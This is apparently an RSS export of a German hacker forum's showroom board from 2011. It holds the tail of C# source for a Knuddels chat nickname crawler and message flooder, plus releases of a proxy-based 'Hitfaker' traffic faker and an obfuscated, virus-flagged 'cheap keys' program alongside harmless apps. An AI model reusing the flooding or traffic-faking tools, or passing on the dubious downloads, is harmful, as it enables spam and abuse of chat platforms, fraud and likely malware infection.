&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (channelName.Success)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MatchCollection mc = chatterParser.Matches(token[7]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (Match m in mc)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (m.Success)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string n = Regex.Unescape(m.Groups[&quot;nick&quot;].Value);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (n != butlerName &amp;&amp; !nicks.Contains(n))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nicks.Add(n);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;{1}\tOnline @ {0}&quot;, channelName.Groups[&quot;name&quot;].Value, mc.Count);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static bool AsyncAuth(string nick, string pass, int minposts, int maxwarn, int[] whitelistGroups)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; WebRequest webRequest = WebRequest.Create(ApiUrl);<br />
&nbsp; &nbsp; &nbsp; webRequest.ContentType = &quot;application/x-www-form-urlencoded&quot;;<br />
&nbsp; &nbsp; &nbsp; webRequest.Method = &quot;POST&quot;;<br />
&nbsp; &nbsp; &nbsp; byte[] bytes = Encoding.ASCII.GetBytes(String.Concat(&quot;username=&quot;, nick, &quot;&amp;password=&quot;, Md5(pass)));<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; webRequest.ContentLength = bytes.Length;<br />
&nbsp; &nbsp; &nbsp; using (Stream os = webRequest.GetRequestStream())<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; os.Write(bytes, 0, bytes.Length);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; XmlDocument doc = new XmlDocument();<br />
&nbsp; &nbsp; &nbsp; string xml = null;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; WebResponse webResponse = webRequest.GetResponse();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; if (webResponse == null)<br />
&nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; StreamReader sr = new StreamReader(webResponse.GetResponseStream());<br />
&nbsp; &nbsp; &nbsp; xml = sr.ReadToEnd().Trim();<br />
&nbsp; &nbsp; &nbsp; doc.LoadXml(xml);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; string status = doc.SelectSingleNode(&quot;/API/status&quot;).InnerText;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; if (status.Equals(&quot;success&quot;))<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; string username = doc.SelectSingleNode(&quot;/API/username&quot;).InnerText;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int group = Convert.ToInt32(doc.SelectSingleNode(&quot;/API/group&quot;).InnerText);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (whitelistGroups != null &amp;&amp; whitelistGroups.Length &gt; 0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (int whiteGroup in whitelistGroups)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (group.Equals(whiteGroup))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int posts = Convert.ToInt32(doc.SelectSingleNode(&quot;/API/posts&quot;).InnerText);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (posts &lt; minposts)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; int warn = Convert.ToInt32(doc.SelectSingleNode(&quot;/API/warn&quot;).InnerText);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (warn &gt; maxwarn)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static string Md5(string data)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; byte[] bytes = Encoding.Default.GetBytes(data);<br />
&nbsp; &nbsp; &nbsp; MD5 md5 = new MD5CryptoServiceProvider();<br />
&nbsp; &nbsp; &nbsp; return System.BitConverter.ToString(md5.ComputeHash(bytes)).Replace(&quot;-&quot;, &quot;&quot;).ToLower();<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static void StartWaiter()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; waiterEnabled = true;<br />
&nbsp; &nbsp; &nbsp; waiterThread = new Thread(DisplayWaiter);<br />
&nbsp; &nbsp; &nbsp; waiterThread.Start();<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static Thread waiterThread = null;<br />
&nbsp;<br />
&nbsp; &nbsp; private static bool waiterEnabled = false;<br />
&nbsp; &nbsp; private static int waitPos = 0;<br />
&nbsp; &nbsp; private static char[] waiters = new char[]<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; '|',<br />
&nbsp; &nbsp; &nbsp; '/',<br />
&nbsp; &nbsp; &nbsp; '-',<br />
&nbsp; &nbsp; &nbsp; '\\',<br />
&nbsp; &nbsp; };<br />
&nbsp;<br />
&nbsp; &nbsp; private static void DisplayWaiter()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; Console.Write(waiters[waitPos++]);<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(75);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; catch (ThreadInterruptedException) { }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!waiterEnabled)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (waitPos &gt;= waiters.Length)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; waitPos = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.Write(waiters[waitPos++]);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static void StopWaiter()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; waiterEnabled = false;<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private enum SpamTypes<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; M,<br />
&nbsp; &nbsp; &nbsp; P<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}</code><hr />
</div>
</div>
</div>
</div><br />
Download: <a href="http://188.40.187.157/Lyralabs.Knuddels.Nickcrawler.zip" target="_blank" rel="nofollow">http://188.40.187.157/Lyralabs.Knuddels.Nickcrawler.zip</a><br />
Special Thx 2 Flav (ohne seine KNLib gäbs das nicht :b)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Lyra</dc:creator>
			<guid isPermaLink="true">showroom-102/code-knuddels-alle-nick-crawler-m-p-flooder-30878</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Hitfaker 2.5]]></title>
			<link>showroom-102/release-hitfaker-2-5-30358?goto=newpost</link>
			<pubDate>Mon, 13 Jun 2011 21:17:00 GMT</pubDate>
			<description>Hi Comm habe es ein wenig überarbeitet und einen kleinen Bug entfernt. 
 
Virustotal: 0/42...</description>
			<content:encoded><![CDATA[<div>Hi Comm habe es ein wenig überarbeitet und einen kleinen Bug entfernt.<br />
<br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=1523cc0f9f127ac37200373eb336030b49ac607432af6128a8a7f94062bb213c-1309517741" target="_blank" rel="nofollow">0/42</a><br />
Virustotal2: <a href="http://www.virustotal.com/file-scan/report.html?id=c1ba46b77a344f0184b371dc369353a92f75444041a9cf96c87ee95b4ea913e0-1307994090" target="_blank" rel="nofollow">1/41 wegen LockSystem naja</a><br />
<br />
Download: <a href="http://ul.to/u9co41gu" target="_blank" rel="nofollow">Download 2.5.1</a><br />
<br />
Wünsche viel Spaß damit.<br />
<br />
<font color="Red"><b>Update:</b></font><br />
<br />
- Warnung beim Start!<br />
- <b><u>Wer sich schon mal in der Konsole registriert hat. Brauch dies nicht nochmal tun!</u></b><br />
<br />
MD5: <i><font color="Lime">40da29cf8912d51fc02126cec66a9fd3</font></i></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-hitfaker-2-5-30358</guid>
		</item>
		<item>
			<title>Android SMS Interface (App)</title>
			<link>showroom-102/android-sms-interface-app-31203?goto=newpost</link>
			<pubDate>Sun, 12 Jun 2011 00:05:17 GMT</pubDate>
			<description>*Android SMS Interface* 
v 1.0 beta 
 
*_Beschreibung_* 
 
Ich möchte euch mein Projekt vorstellen. Das Android SMS Interface bietet euch die...</description>
			<content:encoded><![CDATA[<div><b><font size="4">Android SMS Interface</font></b><br />
v 1.0 beta<br />
<br />
<font size="3"><b><u>Beschreibung</u></b></font><br />
<br />
Ich möchte euch mein Projekt vorstellen. Das Android SMS Interface bietet euch die Möglichkeit, SMS bequem über den Webbrowser zu versenden. Das ganze läuft über euer WLAN-Netzwerk und eure eigene SIM-Karte. Es ist somit nicht irgendein billiger SMS-Internetservice.<br />
<br />
<b>Warum ich das Projekt gestartet habe?</b><br />
Ich habe mir gedacht, es sollte eine Plattformunahbängige Möglichkeit geben, SMS über den PC verschicken zu können. Mit dieser App ist das möglich, weil man lediglich einen Webbrowser benötigt.<br />
<b><br />
Was ich mir vom Projekt erwarte?</b><br />
Mit der App erwarte ich mir, dass das SMS-schreiben gemütlicher wird. Außerdem würde ich mir wünschen, anderen Android-Benutzern damit eine Freude bereiten zu können und gemeinsam mit deren Feedback die App Stück um Stück zu verbessern.<br />
<br />
Ich möchte euch weiters darauf Hinweisen, dass sich die App im BETA-Stadium befindet. Es wird sich, mit der Nachfrage und der Bewertung der App bzw. der Idee, herausstellen, wie weit sie verbessert und ob überhaupt ein ordentlicher Release kommen wird. Ich bitte euch somit so viel Feedback wie möglich zu geben.<br />
<br />
<b>Auf folgende Sachen brauche ich jedoch nicht hingewiesen werden, weil mir diese bereits bekannt sind:</b><br />
<br />
<ul><li style="">Benutzeroberfläche<br />
Ich weiß, dass sie nichts Besonderes ist. Mein Ziel war keine attraktive Oberfläche, sondern vorerst das ganze Backend einigermaßen zum Laufen zu bringen.</li><li style="">SMS-Länge auf 160 Zeichen beschränkt<br />
Auch dieser Aspekt ist mir bekannt, wird aber auf jeden Fall geändert.</li><li style="">Versendete SMS werden nicht in den Konversationen angezeigt<br />
Dito.</li></ul><br />
<br />
<br />
<b>Wie benutze ich die App?</b><br />
<br />
<ol class="decimal"><li style="">WLAN starten und mit WLAN-Netz verbinden</li><li style="">App starten</li><li style="">URL auf dem Display in beliebigem Webbrowser öffnen (z.b. <a href="http://192.168.0.15:6262/" target="_blank" rel="nofollow">http://192.168.0.15:6262/</a>)</li><li style="">SMS senden und lesen erklärt sich von selbst :)</li></ol><br />
<br />
<br />
<b>Hinweis: </b>Man kann die App nicht von außerhalb seines eigenen Netzes erreichen, da die meisten SIM-Karten-Internetprovider keine Ports weiterleiten. Somit bleibt die App auf das lokale Netzwerk eingeschränkt (ist auch besser so).<br />
<br />
Die App wurde bisher auschließlich auf einem HTC Wildfire (Android 2.1_update1) und einem Samsung Galaxy S (Android 2.2) getestet. Bei Feedback bitte Smartphonemodell und Androidversion angeben.<br />
<br />
<font size="3"><b><u>Screenshots</u></b></font><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7298&amp;d=1395291944" border="0" alt="Name:  scr15r6m.jpg
Hits: 442
Größe:  33,5 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7299&amp;d=1395291983" border="0" alt="Name:  scr27pmh.jpg
Hits: 498
Größe:  48,0 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7300&amp;d=1395292009" border="0" alt="Name:  scr3asks.jpg
Hits: 434
Größe:  60,4 KB" class="thumbnail" style="float:CONFIG" /><br />

</div>
</div>
</div><br />
<br />
<font size="3"><b><u>Download</u></b></font><br />
<br />
UL<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a href="http://uploaded.to/file/9t0cc1oi" target="_blank" rel="nofollow">uploaded.to - where your files have to be uploaded to</a>
</div>
</div>
</div><br />
RS<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a href="https://rapidshare.com/files/770568072/androidInterface.apk" target="_blank" rel="nofollow">https://rapidshare.com/files/7705680...dInterface.apk</a>
</div>
</div>
</div><br />
X7<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a href="http://x7.to/l87xhn" target="_blank" rel="nofollow">x7.to » Download: androidInterface.apk</a>
</div>
</div>
</div></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7298&amp;stc=1&amp;d=1395291944" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7299&amp;stc=1&amp;d=1395291983" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7300&amp;stc=1&amp;d=1395292009" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>arminb</dc:creator>
			<guid isPermaLink="true">showroom-102/android-sms-interface-app-31203</guid>
		</item>
		<item>
			<title><![CDATA[[Preview]: MyBB Knuddels by Comu & Evision.]]></title>
			<link>showroom-102/preview-mybb-knuddels-by-comu-evision-30940?goto=newpost</link>
			<pubDate>Mon, 06 Jun 2011 20:07:10 GMT</pubDate>
			<description>Guten Abend. 
 
Soeben haben wir (Comu und ich) uns zusammen an das Knuddels.de-Forum gesetzt und es in MyBB umgesetzt, es ist noch nicht komplett...</description>
			<content:encoded><![CDATA[<div>Guten Abend.<br />
<br />
Soeben haben wir (Comu und ich) uns zusammen an das Knuddels.de-Forum gesetzt und es in MyBB umgesetzt, es ist noch nicht komplett fertig, damit ihr schonmal einen kleinen Einblick in das Ganze haben könnt, habe ich hier für euch einige Ausschnitte aus dem Forum:<br />
<br />
<b>Startseite (oberer Teil):<br />
</b><br />
<a href="http://i53.tinypic.com/30i7u6v.png" target="_blank" rel="nofollow"><img src="http://u-img.net/img/2542Da.png" border="0" alt="" /> BILD ANZEIGEN </a> <a href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="_blank" rel="nofollow"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<br />
<br />
<b>In einem Thema (Beitrag):<br />
<br />
</b><a href="https://u-labs.de/forum/attachment.php?attachmentid=7217&amp;d=1394666018" id="attachment7217" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7217&amp;d=1394666018&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	oj3vba.png&nbsp;
Hits:	415&nbsp;
Größe:	86,7 KB&nbsp;
ID:	7217" class="thumbnail" style="float:CONFIG" /></a><b><br />
<br />
Wünsche für das Forum, andere Projekte oder Styles erwünscht. hihio<br />
</b><br />
MfG</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7217&amp;d=1394666018" 
rel="Lightbox_365994" id="attachment7217"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7217&amp;stc=1&amp;thumb=1&amp;d=1394666018" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	oj3vba.png&nbsp;
Hits:	-&nbsp;
Größe:	86,7 KB&nbsp;
ID:	7217"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Devon</dc:creator>
			<guid isPermaLink="true">showroom-102/preview-mybb-knuddels-by-comu-evision-30940</guid>
		</item>
		<item>
			<title><![CDATA[[Release] easyKeys - GetYourKey! v1]]></title>
			<link>showroom-102/release-easykeys-getyourkey-v1-30090?goto=newpost</link>
			<pubDate>Fri, 03 Jun 2011 13:21:34 GMT</pubDate>
			<description>Hallo ;) 
Ich wollte euch hiermal mein neues Programm vorstellen, mit dem Ihr euch Keys sehr billig kaufen könnt! 
Dies ist der Fall, da ich bei...</description>
			<content:encoded><![CDATA[<div>Hallo ;)<br />
Ich wollte euch hiermal mein neues Programm vorstellen, mit dem Ihr euch Keys sehr billig kaufen könnt!<br />
Dies ist der Fall, da ich bei einigen Händlern Stammkunde bin und somit massig Rabatt bekomme!<br />
<br />
<u>Vorerst: Danke fürs Obfuscaten (Flav), dehalb wird er, selbst bei mir, als Virus angezeigt.</u><br />
<br />
<br />
VERSION 2.0<br />
<br />
<b>1. Was kann ich kaufen?</b><br />
<br />
<ul><li style="">World of Warcraft Keys</li><li style="">World of Warcraft Gold</li><li style="">SteamGames</li><li style="">MineCraft BETA</li><li style="">EA Games<br />
</li></ul><br />
<br />
Die Preise sind meines Erachtens sehr billig. Deshalb: Schlagt zu! :-)<br />
<br />
Die Keys erhaltet ihr i.d.R. nach 15-45 Minuten. Bei World of Warcraft Keys erhaltet ihr per eMail einen Scan der Hülle, um Scamming der Keys auszuschließen.<br />
<br />
Ich wünsche euch viel Spaß beim Shoppen.<br />
<br />
iBlack<br />
<br />
<b>PS: Bei einer Bestellung wird die IP geloggt, um Spammer abzuschrecken.</b><br />
<br />
<br />
<i>Download:</i><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<a href="http://www.multiupload.com/JOC4GO5WMR" target="_blank" rel="nofollow">http://www.multiupload.com/JOC4GO5WMR</a>
			
		<hr />
	</div>
</div><i>Screen:</i><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<a href="http://s1.directupload.net/images/110603/p4t7c8ap.jpg" target="_blank" rel="nofollow">http://s1.directupload.net/images/110603/p4t7c8ap.jpg</a>
			
		<hr />
	</div>
</div>Ich wünsche viel Spaß!<br />
<br />
<b>PPS: </b> Heute Abend gibts eine neue Version, so erhaltet ihr die Keys sofort im Programm!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>iBlack</dc:creator>
			<guid isPermaLink="true">showroom-102/release-easykeys-getyourkey-v1-30090</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Hitfaker v2]]></title>
			<link>showroom-102/release-hitfaker-v2-31674?goto=newpost</link>
			<pubDate>Tue, 31 May 2011 09:00:14 GMT</pubDate>
			<description>Hi Comm, 
 
ich release jetzt mal die Beta von v2. 
 
Funktionen und LOG: 
 
- Bug wurde behoben 
- Mit Proxy Checker speichert gute in eine *.txt -...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
ich release jetzt mal die Beta von v2.<br />
<br />
Funktionen und LOG:<br />
<br />
- Bug wurde behoben<br />
- Mit Proxy Checker speichert gute in eine *.txt - das Format *.txt muss angegeben werden! (Wird in 2.5 behoben)<br />
- etwas schneller<br />
- User-Agent - Code: <div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">Headers</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"user-agent"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;6.0;&nbsp;Windows&nbsp;NT&nbsp;5.2;&nbsp;.NET&nbsp;CLR&nbsp;1.0.3705;)"</span><span style="color: #007700">)&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Screen :<br />
<br />
<img src="http://img688.imageshack.us/img688/6442/hitfakerv2.jpg" border="0" alt="" /><br />
<br />
Download: <a href="http://ul.to/8dlsf5kw" target="_blank" rel="nofollow">Download v2</a><br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=c382b0c9073d9a047a194bad654befe0d1bd878180dc350987ee82b6fb0f8962-1306831753" target="_blank" rel="nofollow">Virustotal 0/42</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-hitfaker-v2-31674</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Hitfaker v1]]></title>
			<link>showroom-102/release-hitfaker-v1-30253?goto=newpost</link>
			<pubDate>Mon, 30 May 2011 14:06:43 GMT</pubDate>
			<description>Hi ich habe gestern einen Thread gesehen wo einer geschrieben hat das er ein Hitfaker mit Trojaner hat naja da dachte ich mach ich ein ich hoffe er...</description>
			<content:encoded><![CDATA[<div>Hi ich habe gestern einen Thread gesehen wo einer geschrieben hat das er ein Hitfaker mit Trojaner hat naja da dachte ich mach ich ein ich hoffe er ist mir gelungen :).<br />
<br />
Screen:<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7015&amp;d=1393099317" border="0" alt="Name:  hitfaker.jpg
Hits: 253
Größe:  32,6 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Download: <a href="http://ul.to/17l2duoi" target="_blank" rel="nofollow">Download - Klick mich an</a><br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=a05227be335b253674d874363c3cb0fbfb800897e8e3201fdfc66a928e75bc99-1306763736" target="_blank" rel="nofollow">Virustotal 0/42</a><br />
<br />
Wünsche euch viel Spaß damit!<br />
<br />
E:// Farben auf den Screen stimmen nicht ganz!<br />
<br />
E://²<b><font color="Red"> Ich arbeite gerade an der V2 ich denke mal ich werde den kleinen Bug fixen und dann morgen Releasen!</font></b></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7015&amp;stc=1&amp;d=1393099317" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-hitfaker-v1-30253</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Site Checker 1.0]]></title>
			<link>showroom-102/release-site-checker-1-0-31156?goto=newpost</link>
			<pubDate>Fri, 20 May 2011 21:10:46 GMT</pubDate>
			<description>Hi Comm, 
 
einige haben es schon bemerkt immer Frage ich : ist die Seite down? Ist die Seite erreichbar also wollte ich mal ein Programm Coden in...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
einige haben es schon bemerkt immer Frage ich : ist die Seite down? Ist die Seite erreichbar also wollte ich mal ein Programm Coden in VB.net es ist mir gelungen dank ein paar kleine hilfen.<br />
<br />
Infos:<br />
<br />
- 2 Methoden zur Auswahl<br />
- Interval änderbar<br />
- Textausgabe in Box mit Uhrzeit<br />
- Net Framework 3.5<br />
<br />
Download und sonstiges:<br />
<br />
Mirror 1: <a href="http://www.megaupload.com/?d=KXTG03SK" target="_blank" rel="nofollow">Megaupload</a><br />
Mirror 2: <a href="http://ul.to/2518yj9m" target="_blank" rel="nofollow">Upload.to</a><br />
Virustotal: <a href="https://www.virustotal.com/file-scan/report.html?id=e9643041163ada107bb51160c40ed5e53a9bfe388166a58dba5d9bacd17184e7-1305925161" target="_blank" rel="nofollow">Virustotal 0 / 40</a><br />
<br />
Screen:<br />
<br />
<img src="http://imageshack.us/m/708/769/screenkz.jpg" border="0" alt="" /><br />
<br />
<br />
<br />
<b>PS: Wäre cool wenn ihr was postet wie ihr es findet etc ...</b></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-site-checker-1-0-31156</guid>
